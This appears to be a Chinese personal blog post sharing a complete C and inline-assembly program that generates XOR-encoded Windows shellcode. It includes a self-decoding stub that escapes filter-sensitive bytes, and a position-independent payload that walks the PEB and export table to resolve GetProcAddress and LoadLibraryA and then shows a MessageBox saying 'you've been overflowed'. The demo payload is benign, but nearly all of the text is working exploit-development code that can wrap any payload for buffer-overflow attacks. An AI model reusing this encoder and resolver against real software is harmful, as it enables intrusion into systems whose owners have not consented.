之前在网上找到的那个程序里面有一些BUG

并且不是自己的程序,看着十分不爽

于是自己尝试着仿照着写了一个

实验了一下,能够正确运行(写了好久,其中各种蛋疼就不说了,相对最后成功的喜悦这些都不算什么)

代码有点长,我也懒得划分结构了

(其实是我不知道怎么划分结构,每次写的代码都奇丑无比,囧)

直接粘上去吧(程序运行,打印出的Shellcode最后要加上一个"\0"才能使用,因为解密是以"\0"作为结束标志的):

  1 #include <stdio.h>
  2 #include <string.h>
  3 #include <stdlib.h>
  4 #include <windows.h>
  5 
  6 //#define     Debug            1;
  7 
  8 #define  Enc_key        0x7A    //编码密钥
  9 #define  FLAG_AVOID        0x30    //需要回避的字符的标记
 10 
 11 #define PROC_BEGIN    __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\
 12     __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 
 13 #define PROC_END PROC_BEGIN
 14 #define  BEGINSTRLEN    0x08    //开始字符串长度   
 15 #define  ENDSTRLEN      0x08    //结束标记字符的长度   
 16 #define  nop_CODE       0x90    //填充字符   
 17 
 18 #define  MAX_Enc_Len    0x400   //加密代码的最大长度 1024足够?   
 19 #define  MAX_Sh_Len     0x2000  //hellCode的最大长度 8192足够?   
 20 
 21 #define  MY_SUCCEED        0
 22 #define  MY_NO_BEGIN    1
 23 #define  MY_NO_END        2
 24 #define     MY_MALLOC_ERR    3
 25 
 26 #define  MY_AVOID        0
 27 #define  MY_NO_AVOID    1
 28 
 29 void Dcrypt(void);
 30 void Shellcode(void);
 31 
 32 //将函数func的代码放到buffer指向的内存中
 33 //其中buffer指向的内存是动态分配的
 34 //func_len指向buffer的长度
 35 int get_func_code(char** buffer,//存放func的代码
 36                 char* fun,        //函数首地址
 37                 int* func_len    //指向buffer长度
 38                 );
 39 
 40 //打印对应的错误信息
 41 void print_iRet(int iRet, char* func_name);
 42 
 43 int is_legal(char ch);//判断一个字符是否要回避
 44 
 45 int Encrypt_Shell(char** buffer,//存放加密过后的字节码
 46                 char*    fun,    //原Shellcode的字节码
 47                 int        old_len,//原Shellcode的长度
 48                 int*    new_len    //加密后字节码的长度
 49                 );
 50 void my_print_Shellcode(char* Shellcode, int len);//打印最终的Shellcode 
 51 
 52 int main(int argc, char* argv[])
 53 {
 54     //取得加密函数字节码
 55     int        Dcrypt_len = 0;
 56     char*    Dcrypt_buffer = NULL;
 57     int        iRet = get_func_code(&Dcrypt_buffer, (char*)Dcrypt, &Dcrypt_len);
 58     print_iRet(iRet, "Dcrypt字节码");
 59 
 60     //取得Shellcode字节码
 61     int        Shell_len = 0;
 62     char*    Shell_buffer = NULL;
 63     iRet = get_func_code(&Shell_buffer, (char*)Shellcode, &Shell_len);
 64     print_iRet(iRet, "Shellcode原始字节码");
 65 
 66     //将Shellcode字节码加密
 67     char*    Shell_Encrypt_buffer = NULL;
 68     int        Shell_Encrypt_len = 0;
 69     iRet = Encrypt_Shell(&Shell_Encrypt_buffer, Shell_buffer, Shell_len, &Shell_Encrypt_len);
 70     print_iRet(iRet, "Shellcode加密后的字节码");
 71 
 72     //打印整体Shellcode的字节码
 73     char*    print_buffer = (char*)malloc(Dcrypt_len + Shell_Encrypt_len);
 74     memcpy(print_buffer, Dcrypt_buffer, Dcrypt_len);
 75     free(Dcrypt_buffer);
 76     memcpy(print_buffer + Dcrypt_len, Shell_Encrypt_buffer, Shell_Encrypt_len);
 77     free(Shell_buffer);
 78     free(Shell_Encrypt_buffer);
 79     my_print_Shellcode(print_buffer, Dcrypt_len + Shell_Encrypt_len);
 80     free(print_buffer);
 81     return 0;
 82 }
 83 
 84 void Dcrypt(void)
 85 {
 86     PROC_BEGIN
 87     __asm
 88     {
 89         pushad
 90         jmp   next   
 91 getEncCodeAddr:   
 92         pop   edi   
 93         push  edi   
 94         pop   esi   
 95         xor   ecx,ecx   
 96 Decrypt_lop:    
 97         lodsb   
 98         cmp  al,cl   
 99         jz   save   
100         cmp  al,0x30  //判断是否为特殊字符   
101         jz   special_char_clean   
102 store:         
103         xor  al,Enc_key   
104             stosb   
105         jmp  Decrypt_lop   
106 special_char_clean:      
107         lodsb   
108         sub al,0x31   
109         jmp store
110 save:
111         popad
112         jmp  shell
113 next:        
114         call  getEncCodeAddr
115 shell:
116             //其余真正加密的shellcode代码会连接在此处
117     }
118     PROC_END
119 }
120 
121 void Shellcode(void)
122 {
123     PROC_BEGIN
124 #ifdef    Debug
125     __asm _emit 0x1
126     __asm _emit 0x2
127 #endif
128 
129 #ifndef    Debug
130     
131     void*    hkernerl32 = NULL;
132     void*    huser32 = NULL;
133     void*    pGetProcAddress = NULL;
134     void*    pLoadLibrary = NULL;
135     void*    pMessageBoxA = NULL;
136     
137 /*     char    strLoadLibrary[] = "LoadLibraryA";
138     char    struser32[] = "user32.dll";
139     char    strMessageBoxA[] = "MessageBoxA";
140     char    pText[] = "你被溢出了!";
141     char    pCaption[] = "xiaoma"; */
142     //LoadLibrary("kernel32");
143     _asm
144     {        
145         //保存寄存器
146         pushad;
147         
148         //获得kernerl32基地址
149         mov eax, fs:0x30 ;PEB的地址
150         mov eax, [eax + 0x0c] ;Ldr的地址
151         mov esi, [eax + 0x1c] ;Flink地址
152         lodsd 
153         mov eax, [eax + 0x08] ;eax就是kernel32.dll的地址
154         mov hkernerl32,eax;
155         
156         //获得GetProcAddress地址
157         push ebp;
158         mov ebp, hkernerl32 ;kernel32.dll 基址
159         mov eax, [ebp+3Ch] ;eax = PE首部
160         mov edx,[ebp+eax+78h]
161         add edx,ebp ;edx = 引出表地址
162         mov ecx , [edx+18h] ;ecx = 输出函数的个数
163         mov ebx,[edx+20h] 
164         add ebx, ebp ;ebx =函数名地址,AddressOfName 
165 search:
166         dec ecx
167         mov esi,[ebx+ecx*4] 
168         add esi,ebp ;依次找每个函数名称
169         ;GetProcAddress
170         mov eax,0x50746547
171         cmp [esi], eax; 'PteG'
172         jne search
173         mov eax,0x41636f72
174         cmp [esi+4],eax; 'Acor'
175         jne search 
176         ;如果是GetProcA,表示找到了 
177         mov ebx,[edx+24h]
178         add ebx,ebp ;ebx = 序号数组地址,AddressOf
179         mov cx,[ebx+ecx*2] ;ecx = 计算出的序号值
180         mov ebx,[edx+1Ch]
181         add ebx,ebp ;ebx=函数地址的起始位置,AddressOfFunction
182         mov eax,[ebx+ecx*4] 
183         add eax,ebp ;利用序号值,得到出GetProcAddress的地址
184         pop ebp;
185         mov pGetProcAddress,eax;
186 
187         //获得LoadLibraryA地址
188         //push strLoadLibrary;"LoadLibraryA"
189         call    _getLoadLib   
190         _emit 0x4C   
191         _emit 0x6F   
192         _emit 0x61   
193         _emit 0x64   
194         _emit 0x4C   
195         _emit 0x69   
196         _emit 0x62   
197         _emit 0x72   
198         _emit 0x61   
199         _emit 0x72   
200         _emit 0x79   
201         _emit 0x41   
202         _emit 0x0   
203         //db      "LoadLibraryA",0              
204 _getLoadLib:
205         push hkernerl32;
206         mov eax,pGetProcAddress;
207         call eax;        GetProcAddress
208         mov pLoadLibrary,eax;
209         pop eax;
210         pop eax;        平衡堆栈
211         
212         //下面是自己的实验
213         //MessageBoxA(NULL, "你被溢出了!", "xiaoma", MB_OK)
214         //push struser32;
215         call    _getUser
216         _emit 0x75
217         _emit 0x73
218         _emit 0x65
219         _emit 0x72
220         _emit 0x33
221         _emit 0x32
222         _emit 0x2E
223         _emit 0x64
224         _emit 0x6C
225         _emit 0x6C
226         _emit 0x0
227 _getUser:
228         mov eax,pLoadLibrary;
229         call eax;
230         mov huser32,eax;
231         pop eax;
232         
233         //push strMessageBoxA;"MessageBoxA"
234         call    _getMessage
235         _emit 0x4D
236         _emit 0x65
237         _emit 0x73
238         _emit 0x73
239         _emit 0x61
240         _emit 0x67
241         _emit 0x65
242         _emit 0x42
243         _emit 0x6F
244         _emit 0x78
245         _emit 0x41
246         _emit 0x0
247 _getMessage:
248         push huser32;
249         mov eax,pGetProcAddress;
250         call eax;        GetProcAddress
251         mov pMessageBoxA,eax;
252         pop eax;
253         pop eax;        平衡堆栈
254         
255         call _getCaption
256         _emit 0x78
257         _emit 0x69
258         _emit 0x61
259         _emit 0x6F
260         _emit 0x6D
261         _emit 0x61
262         _emit 0x0
263 _getCaption:
264         pop  edi;
265         call _getText
266         _emit 0xC4
267         _emit 0xE3
268         _emit 0xB1
269         _emit 0xBB
270         _emit 0xD2
271         _emit 0xE7
272         _emit 0xB3
273         _emit 0xF6
274         _emit 0xC1
275         _emit 0xCB
276         _emit 0x7E
277         _emit 0xA3
278         _emit 0xA1
279         _emit 0x0
280 _getText:
281         pop  esi;
282         push MB_OK;
283         push edi;
284         push esi;
285         push 0h;
286         mov eax,pMessageBoxA;
287         call eax;
288         pop eax;
289         pop eax;
290         pop eax;
291         pop eax;
292         
293         //恢复寄存器
294         popad;
295     }
296 #endif
297     PROC_END
298 }
299 
300 int Encrypt_Shell(char** buffer, char*    fun, int old_len, int* new_len)
301 {
302     *buffer = (char*)malloc(2 * old_len);
303     if (*buffer == NULL)
304     {
305         return MY_MALLOC_ERR;
306     }
307     int        i = 0, k = 0;
308     char    ch = 0;
309     for (i = 0; i < old_len; i++)
310     {
311         ch = (*(fun + i)) ^ Enc_key;
312         if ( is_legal(ch) == MY_AVOID )//如果某个字符需要回避
313         {
314             *(*buffer + k) = '0';
315             k++;
316             ch += 0x31;
317         }
318         *(*buffer + k) = ch;
319         k++;
320     }
321     *new_len = k;
322     return(MY_SUCCEED);
323 }
324 
325 int get_func_code(char** buffer, char* fun, int* func_len)
326 {
327     //返回码:
328     int        i = 0;
329     char*    func_begin    =    fun;
330     char*    func_end    =    NULL;
331     char*    fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记开始的字符串   
332     char*    fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";  //标记结束的字符串
333 
334     //处理DEBUG版本里面的跳转表
335     /*char ch = *func_begin;
336     char temp = 0xE9;*/
337     if (*func_begin == (char)0xE9)
338     {
339         func_begin++;
340         i = *(int*)func_begin;
341         func_begin += (i+4);
342     }
343 
344     //通过寻找开始的标记
345     //找到解码部分的开头地址
346     for (i = 0; i < MAX_Enc_Len; i++)
347     {
348         if (memcmp(func_begin+i, fnbgn_str, BEGINSTRLEN) == 0)
349         {
350             break;
351         }
352     }
353     if (i < MAX_Enc_Len)
354     {
355         func_begin += (i + BEGINSTRLEN);//定位到开始部分的代码
356     }
357     else
358     {
359         return MY_NO_BEGIN;    //没找到开始的标记
360     }
361 
362     //通过寻找结尾的标记
363     //找到解码部分的结束地址
364     i = 0;
365     for (func_end = func_begin; i < MAX_Enc_Len; i++)
366     {
367         if (memcmp(func_end+i, fnend_str, ENDSTRLEN) == 0)
368         {
369             break;
370         }
371     }
372     if (i < MAX_Enc_Len)
373     {
374         func_end += i;//定位到结尾处的代码
375     }
376     else
377     {
378         return MY_NO_END;//没找到结尾的标记
379     }
380 
381     *func_len = func_end - func_begin;//解码部分代码长度
382 
383     *buffer = (char*)malloc(*func_len);//分配地址储存解码的代码
384     if (*buffer == NULL)
385     {
386         return MY_MALLOC_ERR;
387     }
388     memcpy(*buffer, func_begin, *func_len);
389 
390     return MY_SUCCEED;
391 }
392 
393 void print_iRet(int iRet, char* func_name)
394 {
395     switch (iRet)
396     {
397     case MY_SUCCEED:
398         printf("获取%s成功!\n",func_name);
399         break;
400     case MY_NO_BEGIN:
401         printf("无法找到%s的头部标记!\n程序退出\n",func_name);
402         exit(1);
403         break;//不会执行到
404     case MY_NO_END:
405         printf("无法找到%s的尾部标记!\n程序退出\n",func_name);
406         exit(1);
407         break;//不会执行到
408     case MY_MALLOC_ERR:
409         printf("在获取%s字节码的时候分配内存错误!\n程序退出\n",func_name);
410         exit(1);
411         break;
412     default:
413         puts("未知的返回码!\n程序退出\n");
414         exit(1);
415         break;
416     }
417 }
418 
419 int is_legal(char ch)
420 {
421     if (ch==0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+'||ch=='\0')
422     {
423         return MY_AVOID;//需要替换
424     }
425     return MY_NO_AVOID;    //不需要替换
426 }
427 
428 void my_print_Shellcode(char* Shellcode, int len)
429 {
430     int i = 0, k = 0;
431     for (i = 0; i < len; i++)
432     {
433         if (k == 0)
434         {
435             putchar('"');
436         }
437         printf("\\x%.2X", (unsigned char)Shellcode[i]);
438         k++;
439         if (k == 16)
440         {
441             putchar('"');
442             putchar('\n');
443             k = 0;
444         }
445     }
446     if (k != 16)
447     {
448         puts("\"\n");
449     }
450 }